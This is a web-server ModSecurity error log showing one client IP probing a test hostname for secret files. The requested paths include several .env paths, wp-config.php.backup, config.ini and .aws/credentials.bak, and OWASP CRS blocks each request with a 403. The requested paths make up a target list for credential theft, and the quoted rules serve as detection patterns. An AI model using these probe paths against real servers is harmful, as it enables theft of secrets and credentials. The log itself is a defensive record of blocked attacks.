[Wed Feb 25 06:04:37.196967 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbQAAAAI&quot;]
[Wed Feb 25 06:04:37.197271 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbQAAAAI&quot;]
[Wed Feb 25 06:04:37.197498 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbQAAAAI&quot;]
[Wed Feb 25 06:04:37.236040 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deployment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbgAAAAI&quot;]
[Wed Feb 25 06:04:37.236360 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbgAAAAI&quot;]
[Wed Feb 25 06:04:37.236554 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbgAAAAI&quot;]
[Wed Feb 25 06:04:37.247143 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW6AAAAAQ&quot;]
[Wed Feb 25 06:04:37.247468 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW6AAAAAQ&quot;]
[Wed Feb 25 06:04:37.247739 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW6AAAAAQ&quot;]
[Wed Feb 25 06:04:37.247932 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW6AAAAAQ&quot;]
[Wed Feb 25 06:04:37.432390 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbwAAAAI&quot;]
[Wed Feb 25 06:04:37.432702 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbwAAAAI&quot;]
[Wed Feb 25 06:04:37.432927 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWbwAAAAI&quot;]
[Wed Feb 25 06:04:37.516557 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcAAAAAI&quot;]
[Wed Feb 25 06:04:37.516839 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcAAAAAI&quot;]
[Wed Feb 25 06:04:37.517019 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcAAAAAI&quot;]
[Wed Feb 25 06:04:37.543525 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW6wAAAAQ&quot;]
[Wed Feb 25 06:04:37.544086 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW6wAAAAQ&quot;]
[Wed Feb 25 06:04:37.544351 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW6wAAAAQ&quot;]
[Wed Feb 25 06:04:37.607613 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcQAAAAI&quot;]
[Wed Feb 25 06:04:37.607920 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcQAAAAI&quot;]
[Wed Feb 25 06:04:37.608116 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcQAAAAI&quot;]
[Wed Feb 25 06:04:37.726619 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW7QAAAAQ&quot;]
[Wed Feb 25 06:04:37.726938 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW7QAAAAQ&quot;]
[Wed Feb 25 06:04:37.727230 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW7QAAAAQ&quot;]
[Wed Feb 25 06:04:37.727441 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW7QAAAAQ&quot;]
[Wed Feb 25 06:04:37.742740 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcgAAAAI&quot;]
[Wed Feb 25 06:04:37.743013 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcgAAAAI&quot;]
[Wed Feb 25 06:04:37.743200 2026] [:error] [pid 2312881] [client 185.177.72.13:2044] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aZ6C5VIszkcv5YapLJKWcgAAAAI&quot;]
[Wed Feb 25 06:04:37.800436 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials/admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ6C5Z6MLyC5r86Hx-ZW7gAAAAQ&quot;]
